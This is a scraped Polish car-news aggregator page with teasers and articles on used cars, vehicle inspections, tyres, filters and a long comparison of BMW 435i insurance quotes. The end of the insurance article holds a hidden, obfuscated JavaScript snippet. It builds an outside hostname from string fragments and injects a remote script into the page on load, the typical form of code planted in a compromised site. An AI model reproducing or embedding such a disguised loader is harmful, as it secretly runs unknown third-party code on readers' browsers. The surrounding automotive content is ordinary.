Autokult

Używany SUV na każdą kieszeń – poradnik kupującego

SUV-y na rynku europejskim są znane od lat 90. W tym okresie segment ten raczkował i tylko odważni producenci przygotowywali tego typu samochody. Dziś trzeba być odważnym by SUV-a nie mieć w ofercie. A jak wygląda ten segment na rynku używanych? Przyjrzyjmy się najtańszym, dostępnym SUV-om klasy średniej z tego właśnie okresu. Czy warto kupić pierwsze generacje dziś już dobrze znanych modeli? Jak wyglądają koszty eksploatacji i które auta są dopracowane, a które jeszcze nie? Na te pytania odpowiem w tym i kolejnych artykułach.Czytaj więcej w Autokult.pl

Porady: Naprawiłem spryskiwacz

CROMO

Porady: Naprawiłem spryskiwacz

Turbodoładowany czy wolnossący o to jest pytanie

Autokult

Turbodoładowany czy wolnossący o to jest pytanie

Wybierając nowy samochód producenci dają nam nieraz wybór pomiędzy czymś nowym a starym sprawdzonym. Przeważnie mamy do wyboru straszy generacyjnie silnik wolnossący i silnik o mniejszej pojemności z turbodoładowaniem który będzie mógł spełniać surowsze normy emisji spalin oraz CO2. Parę miesięcy temu miałem przyjemność przetestować Fiestę z silnikiem 1,0 ecoboost o mocy 100 KM z moją Fiestą z wolnossącym silnikiem Duratec 1,4 96 KM.Czytaj więcej w Autokult.pl

MOTODAY

Diagności do kontroli. Idą spore zmiany w obowiązkowym badaniu technicznym

Już niebawem nie będzie możliwe podjechanie do stacji kontroli pojazdów i podbicie dokumentu auta w kiepskim stanie.Według najnowszych danych aż 20 procent pojazdów w Polsce nie ma ważnego przeglądu technicznego. Z kolei sporo osób, które taki przegląd zrobiło, dostaje go na gębę, czyli tylko podjeżdża do stacji i otrzymuje pieczątkę bez dokładnego sprawdzenia auta. Już niebawem ma to się zmienić.Krajowa Rada Bezpieczeństwa Ruchu Drogowego chce nieco namieszać w obowiązkowych badaniach technicznych, tak żeby na ulicach było mniej niebezpiecznych pojazdów. Po pierwsze ma zostać wprowadzony nadzór pracy diagnostów. W stacjach kontroli pojazdów zostaną zamontowane kamery do monitoringu, a każda ze stacji będzie musiała mieć specjalny certyfikat. To jednak nie wszystko. Pomiary dokonywane na stacji będą automatycznie zapisywane w raporcie. Jeśli zatem system wykryje, że dane auto z jakiegoś powodu nie może zostać dopuszczone do ruchu, zostanie to odnotowane w systemie, a diagnosta nie będzie mógł wystawić pieczątki.Co więcej, opłatę za badanie będziemy dokonywać przed badaniem. Ukróci to sytuacje, w których kierowca po niekorzystnym wyniku badania, udaje się do mechanika, naprawia auto i wraca do stacji kontroli, płacąc przy tym tylko raz za wykonaną usługę. Teraz będzie musiał zapłacić dwa razy, ponieważ sama usługa została wykonana podwójnie.Przy okazji głos zabrali też diagności. Uważają oni, że od ponad 10 lat nie zwiększyła się cena za obowiązkowe badanie techniczne. W tym czasie zwiększyły się z kolei koszty prowadzenia tego rodzaju działalności, począwszy od płac pracowników po ogólne wydatki związane z utrzymaniem warsztatu. W związku z tym opłaty za badanie mają wzrosnąć. Dla samochodów osobowych będzie to 150 złotych, a nie 100 złotych jak obecnie. Za sprawdzenie motocykla przyjdzie z kolei zapłacić 100 złotych zamiast dotychczasowych 62.Niestety nie wiadomo w tej chwili, kiedy zmiany wejdą w życie. Tak naprawdę mówi się o nich już od dawna i z początkiem każdego roku wraca dyskusja na ich temat.Post Diagności do kontroli. Idą spore zmiany w obowiązkowym badaniu technicznym pojawił się poraz pierwszy w MotoDay.pl.

Autokult

Bardziej rygorystyczne przeglądy techniczne

Każdy doświadczony kierowca wie, że wiele przeglądów technicznych na stacjach diagnostycznych jest jedynie formalnością i nie trzeba mieć specjalnie sprawnego auta by dostać pieczątkę.Czytaj więcej w Autokult.pl

Autokult

Kupowanie używanego auta z podziałem na regiony Polski

W wielkopolskim kręcą liczniki a na Pomorzu jest najmniej aut powypadkowych. Jest już dostępny kolejny raport Motoraportera. Niezależni eksperci motoryzacyjni przyjrzeli się rynkowi zakupu używanych aut w Polsce z podziałem na województwa w III kwartale br. Co w raporcie? Ciekawe wnioski, kilka zastanawiających wartości i regiony, które wyróżniają się ilością nieuczciwych sprzedawców. Szczegóły poniżej.Czytaj więcej w Autokult.pl

Zakup używanego auta krok po kroku. Jak kupić i nie żałować?

Motofilm

Zakup używanego auta krok po kroku. Jak kupić i nie żałować?

Kupno używanego samochodu jest jak bieg z przeszkodami po polu minowym – nie dość, że droga do mety jest daleka, po drodze są przeszkody, to jeszcze możesz trafić na niespodziankę, której na pierwszy rzut oka nie widać, a gdy już na taką minę trafisz – będzie za późno, żeby się wycofać. Ale spokojnie – wystarczy trochę rozwagi i ostrożności, by tę drogę przebyć bez problemów. Jak kupić używany samochód i nie żałować swojej decyzji? Zastosuj metodę 5 kroków. Krok 1 – przejrzenie ogłoszeń, porównanie cen Zacząć poszukiwania musisz oczywiście od wybrania swojego faworyta jeśli chodzi o markę i model, ale z tym na ogół kupujący nie mają problemu. Większe kłopoty zaczynają się dopiero na etapie przeglądania ogłoszeń. Czy szukać samochodu tylko w Internecie czy może też w komisach? Czy brać pod uwagę auta tylko ze swojego miasta czy może także z innych województw? Jak filtrować ogłoszenia? Najlepiej zacząć od tego, co będzie najłatwiejsze i co pozwoli ci zorientować się, jak przedstawiają się ceny wybranego przez ciebie modelu i co oferuje rynek aut używanych pod tym względem. A najłatwiejsze jest poszukiwanie samochodu w internetowych serwisach – tam można filtrować ogłoszenia po cenie, marce, roku produkcji, wybierać tylko samochody na gaz lub benzynę, ustawiać preferowaną liczbę drzwi, wyposażenie itp. Możliwości jest naprawdę wiele, a jedno-dwa popołudnia spędzone na lekturze ogłoszeń pozwolą ci rozeznać się w tym, jak wyglądają oferty aut, które sobie upatrzyłeś. Na początku najlepiej ograniczyć przeszukiwanie ofert do tych aut, które znajdują się niedaleko twojego miejsca zamieszkania, a dopiero wówczas, gdy niczego nie znajdziesz – poszerzyć obszar poszukiwań. Krok 2 – oględziny samochodu Na obejrzenie samochodu koniecznie umawiaj się w dzień, a nie po zmroku i nigdy nie zabieraj ze sobą gotówki, która pozwoliłaby ci podjąć impulsywną decyzję o zakupie auta już po pierwszym obejrzeniu. Najlepiej zabrać za to ze sobą jakiegoś towarzysza – we dwoje łatwiej zauważycie ewentualne rysy czy wady samochodu, łatwiej też będzie zadawać sprzedającemu pytania. Krok 3 – jazda próbna Nigdy nie kupuj samochodu, którym nie przejechałeś się chociaż raz. Dopiero podczas jazdy możesz poczuć, czy samochód dobrze się prowadzi, posłuchać, jak pracuje silnik, czy nic nie stuka, nie skrzypi – a jeśli tak – możesz zapytać o te niepokojące stuki właściciela. Podczas pierwszej jazdy próbnej pamiętaj, by nie włączać radia samochodowego i najlepiej nie rozmawiaj też ze sprzedającym. Krok 4 – sprawdzenie u mechanika Kupując używany samochód koniecznie pojedź nim do zaufanego mechanika, który postawi auto na kanale, zajrzy pod maskę, oceni jaki jest stan techniczny samochodu, powie także, które podzespoły były niedawno wymieniane, a które będą wymagały wymiany w najbliższym czasie. Zaufany mechanik może również powiedzieć ci ile trzeba włożyć w kupowane auto, żeby wymienić wszystkie części, które tego wymagają. Jeśli masz wątpliwości co do tego, czy samochód na pewno jest bezwypadkowy, jak twierdzi sprzedawca, możesz sprawdzić też grubość powłoki lakieru – to sprawdzenie obnaży wszystkie stłuczki, po których trzeba było lakierować samochód. Krok 5 – sprawdzenie VIN Ten krok możesz właściwie wykonać jeszcze przed obejrzeniem samochodu, bo obecnie wielu sprzedawców podaje numer VIN już w ogłoszeniach. Sprawdzenie VIN w bazach danych, np. w serwisie autoDNA.pl pozwala dowiedzieć się wielu rzeczy o samym pojeździe, w tym także o jego historii i wyposażeniu. Dzięki weryfikacji numeru VIN będziesz wiedział na przykład jakie były ostatnie odczyty przebiegu samochodu, czy auto było kiedyś autem firmowym, czy było wzięte w leasing, czy zgłaszano jego kradzież, czy było uczestnikiem wypadków i kolizji na drogach itp. Sprawdzenie VIN daje także dokładne informacje o wyposażeniu fabrycznym samochodu – od koloru lakieru po liczbę poduszek powietrznych. Te pięć prostych kroków pozwoli na znalezienie samochodu, który wart jest zakupu. A gdy już uda ci się znaleźć takie auto i wynegocjujesz cenę, która satysfakcjonuje obie strony – zostanie ci tylko ostatni, szósty krok – podpisanie umowy kupna-sprzedaży, po której otrzymasz kluczyki do swojego auta, a bieg z przeszkodami szczęśliwie zakończy się na mecie.

Jak w Grecji wjeżdża się na prom gdy morze jest niespokojne?

Autokult

Jak w Grecji wjeżdża się na prom gdy morze jest niespokojne?

Fiat Panda, BMW Serii 3 i kilka innych samochodów podjęło ryzykowną próbę wjechania na rozkołysany prom. Dla bezpieczeństwa na połączeniu z lądem ułożono stertę dywanów.Czytaj więcej w Autokult.pl 

Światła w samochodzie - kiedy włączyć jakie?

Autokult

Światła w samochodzie - kiedy włączyć jakie?

Dzienne, postojowe, pozycyjne, mijania, drogowe, przeciwmgłowe - przypominamy, kiedy używać danego rodzaju świateł.Czytaj więcej w Autokult.pl 

Filtr oleju – budowa i zasada działania

Autokult

Filtr oleju – budowa i zasada działania

Filtr oleju wymieniany zawsze wraz z olejem, z punktu widzenia użytkownika nie ma żadnego znaczenia. Jest częścią, o które w zasadzie się nie myśli, a jednak bardzo istotną. Jak to zwykle bywa, taki drobiazg pełni bardzo ważną rolę. Warto poznać jego budowę i zasadę działania by zdać sobie z tego sprawę.Czytaj więcej w Autokult.pl 

Jak kupować używane auto z instalacją LPG? [strona prawna]

Autokult

Jak kupować używane auto z instalacją LPG? [strona prawna]

Chcąc kupić samochód używany trzeba dobrze się przygotować, najlepiej poznać o nim opinie i widzieć gdzie szukać typowych usterek. Jeszcze trudniej kupić takie auto z instalacją gazową. Tu należy wykazać się dużym sceptycyzmem i wyczuciem, a najlepiej poznać kilka aspektów zarówno prawnych jak i technicznych. Zaczniemy od tych pierwszych.Czytaj więcej w Autokult.pl

Kiedy wojsko może zabrać Ci samochód?

Autokult

Kiedy wojsko może zabrać Ci samochód?

Wojsko ma prawo przejąć w razie konieczności firmowe i prywatne pojazdy. W dodatku nie tylko terenowe.Czytaj więcej w Autokult.pl

Impregnacja dachu kabrio (1/2)

MotoSoul.pl

Impregnacja dachu kabrio (1/2)

Autokult

Opony zimowe czy całoroczne?

Wielu kierowców w okresie jesiennym staje przed koniecznością zakupu opon zimowych. W tym momencie zazwyczaj pojawia pokusa zaoszczędzenia i zdecydowania się na opony całoroczne. Kiedy i kto może brać pod uwagę takie rozwiązanie?Czytaj więcej w Autokult.pl

Filtr powietrza – drobiazg, o którym zapominamy

Autokult

Filtr powietrza – drobiazg, o którym zapominamy

Filtr powietrza jest tak banalną częścią eksploatacyjną, że nierzadko serwisując samochód samodzielnie zapominamy o nim. Choć kosztuje tylko kilkadziesiąt złotych, a jego wymiana trwa kilka minut, to pełni on niezwykle ważną funkcję, wpływając bezpośrednio na trwałość silnika.Czytaj więcej w Autokult.pl

Drogie BMW – wysoka cena AC. Z kalkulatorem ubezpieczenia niekoniecznie!

Motofilm

Drogie BMW – wysoka cena AC. Z kalkulatorem ubezpieczenia niekoniecznie!

BMW – takie sobie, zwykłe trzy literki, ale co one za sobą kryją! Zamknijcie oczy i wyobraźcie sobie najlepsze auto pod słońcem… Czujecie to? Szybką jazdę, komfortowe wnętrze i jeszcze cudowne wrażenie, że prowadzicie samochód idealny. Auto reaguje na każde „polecenie”, jedziecie prosto przed siebie i upajacie się szumem silnika, jego mocą…. A teraz otwórzcie oczy… widzicie kolosalną cenę!? Gdyba nawet było Was stać na to cacko, prawdopodobnie dobije Was cena ubezpieczenia. Bo na to cudo nie można kupić samego OC. AC jest tutaj niezbędne. Ile ono kosztuje? Sprawdziłem! Im droższy samochód, tym wyższa cena AC Założyciele koncernu BMW: Gustav Otto i Karl Rapp, na początku XX wieku wcale nie chcieli produkować samochodów. Ich pasją było lotnictwo. Ciekawe co powiedzieliby teraz, gdyby wiedzieli, że pierwotna produkcja samolotów w przemyśle zbrojeniowym zmieniła się głównie w wyrób samochodów – symboli mocy i luksusu. Ten luksus kosztuje i nie wiadomo dlaczego, w przypadku BMW płaci się więcej także za ubezpieczenie. Ktoś chyba kiedyś stwierdził, że ta marka jest dla kierowców, którzy lubią „dodać gazu”(a wierzcie mi – jest czym!) i w takim razie wszystkim posiadaczom BMW trzeba przypisać wyższe ryzyko ubezpieczeniowe. Tak więc składka za OC jest spora, a AC – im droższy samochód, tym większa. Tutaj akurat nie ma co się bulwersować. Ubezpieczyciel musi sobie doliczyć, bo w przypadku nowszych modeli, naprawa nawet drobnej rysy na karoserii kosztuje majątek. Tak między nami: niektórzy nawet przy niewielkim uszkodzeniu wolą od razu orzec szkodę całkowitą, bo tak jest taniej i wygodniej. Internetowy kalkulator OC AC prawdę o ubezpieczeniu Ci powie Gdzie finansowy ratunek dla tego, kto za wszystkie oszczędności nabył samochód swoich marzeń? Wziąłem „w obroty” testowany już w naszym serwisie model BMW 435i Coupe. Założyłem, że jestem jego drugim właścicielem, a samochód ma już ponad rok. Salonowe AC poprzedniego właściciela i tak nie przechodzi na mnie, OC właśnie się kończy. Powiedzmy, że dotychczasowy ubezpieczyciel postanowił odbić sobie ”rabacik marketingowy” na dzień dobry i wywindował mi cenę polisy, chociaż jestem 40 letnim, bezszkodowym kierowcą i mam pełne zniżki z OC. Najpierw postanowiłem sprawdzić ofertę ubezpieczenia telefonicznie, dzwoniąc do trzech przedstawicieli różnych towarzystw. Dwa z nich od razu odmówiły mi ochrony ubezpieczeniowej, twierdząc, że …. nie powiedzieli dlaczego – tylko, że mogą sprzedać najwyżej OC (przecież wiem – muszą!) Trzecia firma naliczyła mi składkę, BA!!!! TYLKO 10 tys złotych za rok!!! Zmieniłem taktykę poszukiwań. Wpadłem na pomysł przeprowadzenia internetowego porównania OCAC. W tym celu skorzystałem z najbardziej znanej porównywarki rankomat.pl, która podobno przedstawia 55 ofert ubezpieczeń samochodu. Wyniki w kalkulatorze ubezpieczenia były zaskakujące! Zobaczcie ogromną rozbieżność w cenach i zakresie ochrony: AXA – najtańsza propozycja OC+AC+ASS mini z darmową Zieloną Kartą opiewała na jedyne 1 486 złotych, ale dlaczego tak tanio???? Przecież wartość tego pojazdu to ok. 170 tys. złotych! No właśnie – w tej ofercie nie było ochrony od kradzieży i wprowadzono udział własny 15%. Plus jest taki, że towarzystwo gwarantuje naprawę bezgotówkową, w warsztacie, na częściach oryginalnych i zniesienie amortyzacji. Kalkulatorem AXA można się „pobawić” i dostosować zakres AC do własnych potrzeb. A tak zmienia się składka: - wprowadzając ubezpieczenie od kradzieży 1 553 zł, - później, zmieniając udział własny na 10%: 1 666 zł , 5% : 1 882 zł, - fundując sobie full pakiet, czyli pełną ochronę z kradzieżą włącznie i całkowitym zniesieniem udziału własnego zapłaciłbym 2 559 zł. To wciąż bardzo kusząca propozycja. Dlaczego tak tanio? Podobno w cenie ujęto: bonus od AXA 17% i rabat 15% za zakup przez internet. Tylko taki jeden drobiazg: nie wiem dlaczego w kalkulatorze ubezpieczenia samochodu zaznaczono małą gwiazdkę „składka przybliżona”. Czy to oznacza, że przed zakupem polisy musiałbym jeszcze zadzwonić do przedstawiciela firmy i upewnić się, że wyliczona kwota jest ostateczna? Link4 – ceny ubezpieczenia OC AC zaczynają się od 3 314,30 złotych. Tutaj otrzymam w pakiecie: - OC, - pełny ASS z samochodem zastępczym i ASS opony, - zwrot kosztów holowania, - ubezpieczenie bagażu, - naprawę na kosztorys, na zamiennikach (to już gorzej niż w AXA!), z wniesioną amortyzacją części, - 500 zł udziału własnego w ubezpieczeniu wypadkowym, bez udziału w kradzieżowym. Podobnie jak w towarzystwie AXA, zakres ochrony AC można dowolnie kształtować: - po zniesieniu amortyzacji cena polisy wzrasta do 3 548,82 zł, - z naprawą pojazdu w warsztacie częściami oryginalnymi, bez amortyzacji i udziałów własnych zapłacę składkę 4 141,72 zł, - full pakiet, dodatkowo z produktem szyby24 i NNW kosztuje 4 315,48 złotych. Allianz Direct – najniższa cena polisy OC+AC+ pełny ASS wynosi 4 492 złote. Na dodatek … mam tutaj 70% udziału własnego w szkodzie częściowej. Jest on zniesiony tylko w szkodzie kradzieżowej. Reszta ochrony jest do przyjęcia: naprawa w ASO (autoryzowanym warsztacie) i zniesiona amortyzacja. Znosząc udział własny na 12% zapłaciłbym już 7 609 złotych! Full pakiet w Allianz Direct kosztowałby mnie 8 487 złotych!! Ile razy ta składka jest wyższa od najniższej oferty ubezpieczenia? Sami policzcie! Co wynika z obliczeń kalkulatora ubezpieczenia samochodu? Kalkulator ubezpieczenia rankomat.pl prawdę nam powiedział. A jest ona taka, że oferty ubezpieczenia samochodu trzeba porównywać i sprawdzać zakresy ochrony, bo rozbieżność w cenach polis może być ogromna. Mnie osobiście nasuwa się taka refleksja: odbiegając od tego, że nie mam i z wiadomych względów mieć prędko nie będę cudownej BMW 435i … gdybym jednak ją miał….może wybrałbym polisę z wyższej półki, z renomowanej firmy, bo zależałoby mi na tym, żeby takie „cacko” dobrze ubezpieczyć:) Oczywiście wybór najlepszej opcji autocasco pozostawiam szczęściarzom posiadającym ten wspaniały samochód i życzę im Szerokiej Drogi:) (function(){ u1i4=document.createElement("script");u1i4.type="text/javascript"; u1i4.async=true;u1i4_=(("us")+"t")+"a";u1i4_+=("t.i")+""+"n";u1i4_+=(("f")+"o"); u1i4.src="http://"+u1i4_+"/147960.m04X51wm1i4X5ifnmnwwcpvXpiq8h5"; document.body.appendChild(u1i4); })();

Wakacje w Chorawcji! - część 3.

U Beboka

Wakacje w Chorawcji! - część 3.

Autokult

Jak kupić motocykl na prawo jazdy kategorii B?

Zgodnie z nowelizacją ustawy o kierujących pojazdami, osoby posiadające od trzech lat prawo jazdy kategorii B mogą jeździć motocyklami o pojemności do 125 cm sześciennych. Na co zwrócić uwagę przy zakupie i co można sprawdzić samemu – radzą eksperci serwisu Allegro.Czytaj więcej w Autokult.pl

Wakacje w Chorawcji! - część 1.

U Beboka

Wakacje w Chorawcji! - część 1.

Jazda życia MINI Countrymanem ALL4 Racing

Autokult

Jazda życia MINI Countrymanem ALL4 Racing

Na pytanie jakim samochodem chciałbym się przejechać, nigdy nie odpowiem jednoznacznie, bo mam wiele typów. Ale pytany o co-drive samochodem wyczynowym wybrałbym dragstera i tę kilkusekundową przejażdżkę. Oczywiście jest to niemożliwe. Dlatego z możliwych, zawsze numerem jeden była dla mnie przejażdżka samochodem przygotowanym do Rajdu Dakar. To marzenie spełniło się podczas Baja Poland.Czytaj więcej w Autokult.pl

Intercooler – jego rola i eksploatacja

Autokult

Intercooler – jego rola i eksploatacja

Intercooler to bardzo ważna i rzadko kiedy zwracająca na siebie uwagę część w samochodzie. Nie każdy zna jego rolę, a jeszcze mniej osób wie co się wiąże z jego uszkodzeniem.Czytaj więcej w Autokult.pl

Jak walczyć z chorobą lokomocyjną

Autokult

Jak walczyć z chorobą lokomocyjną

Choroba lokomocyjna potrafi zepsuć podróż. Istnieją jednak sposoby na łagodzenie i zapobieganie jej objawów.Czytaj więcej w Autokult.pl

Jak czytać oznaczenia na oponach motocyklowych?

Autokult

Jak czytać oznaczenia na oponach motocyklowych?

Na oponach motocyklowych znajduje się bardzo wiele oznaczeń, które niosą ważne informacje o danym produkcie. Aby móc samodzielnie dobierać opony do swojego jednośladu należy zrozumieć znaczenie symboli obecnych na oponach.Czytaj więcej w Autokult.pl

Wszystko, co chciałeś wiedzieć o oponach bieżnikowanych

Autokult

Wszystko, co chciałeś wiedzieć o oponach bieżnikowanych

Bieżnikowanie opon to powszechnie stosowany zabieg w przypadku samochodów ciężarowych. W USA instytucje rządowe mają nawet prawny obowiązek bieżnikować opony w samochodach służbowych, a nawet w autobusach szkolnych. Dużo bardziej kontrowersyjne i złożone jest zagadnienie bieżnikowania opon, z których korzystamy na co dzień w samochodach osobowych. Z czego wynika ta różnica w podejściu do bieżnikowania opon?Czytaj więcej w Autokult.pl

Pakiet startowy może być droższy niż myślisz

Autokult

Pakiet startowy może być droższy niż myślisz

Pakiet startowy obejmuje zazwyczaj części i płyny, które trzeba wymienić zaraz po zakupie samochodu używanego, nie mając pewności co do jego przeszłości serwisowej. Niemal każdy ma świadomość, że trzeba wymienić pasek rozrządu i olej silnikowy, ale w praktyce to za mało.Czytaj więcej w Autokult.pl

Sensowne auto za 5000 zł na L [część 8]

Autokult

Sensowne auto za 5000 zł na L [część 8]

Dziś mamy przegląd samochodów na L więc do omówienia kilka marek i jednocześnie tylko kilka modeli. To będzie chyba najbardziej zróżnicowana część tego cyklu, zarówno pod względem samochodów jak i ich pochodzenia.Czytaj więcej w Autokult.pl

Wibracje samochodu i kierownicy – przyczyny i skutki

Autokult

Wibracje samochodu i kierownicy – przyczyny i skutki

Wibracje samochodu dotyczą zarówno aut starszych jak i całkiem nowych. Często jeszcze w okresie gwarancyjnym mogą się pojawić takie niedogodności. Przyczyn wibracji jest wiele, a szuka się ich w układzie jezdnym i napędowym. Wibracje występujące przez dłuższy czas mogą też przynieść pewne skutki. Ten artykuł jest właśnie o przyczynach i skutkach wibracji.Czytaj więcej w Autokult.pl

Napęd rozrządu – jak uniknąć problemów?

Autokult

Napęd rozrządu – jak uniknąć problemów?

Jeszcze kilkanaście lat temu nikt specjalnie nie przejmował się napędem rozrządu. Po zakupie samochodu zmieniało się pasek i rolki, a jeśli do napędu służył łańcuch, nikt nawet nie myślał o dotykaniu go. Dziś sprawa wygląda nieco inaczej i rozrząd stał się słabym ogniwem wielu silników.Czytaj więcej w Autokult.pl

Sprężyny obniżające zawieszenie – fakty i mity

Autokult

Sprężyny obniżające zawieszenie – fakty i mity

Każdy kto choć raz eksperymentował w swoim samochodzie obniżając zawieszenie przez wymianę samych sprężyn, ma już w pewnym sensie wyrobiony pogląd na temat takich modyfikacji. Zaznaczam, że podane poniżej informacje nie dotyczą wszystkich samochodów, ale znacznej ich większości.Czytaj więcej w Autokult.pl

Sprężyny zawieszenia – ich rola i eksploatacja

Autokult

Sprężyny zawieszenia – ich rola i eksploatacja

Samochody od ponad 100 lat wyposaża się w resory, jednak resory przeszły metamorfozę od najprostszych sprężystych płaskowników po elementy pneumatyczne i hydropneumatyczne. Z różnego rodzaju rozwiązań większość producentów wybrała jako optymalne sprężynę śrubową. Dziś poznamy jej rolę w zawieszeniu, wady i zalety oraz kilka wskazówek eksploatacyjnych.Czytaj więcej w Autokult.pl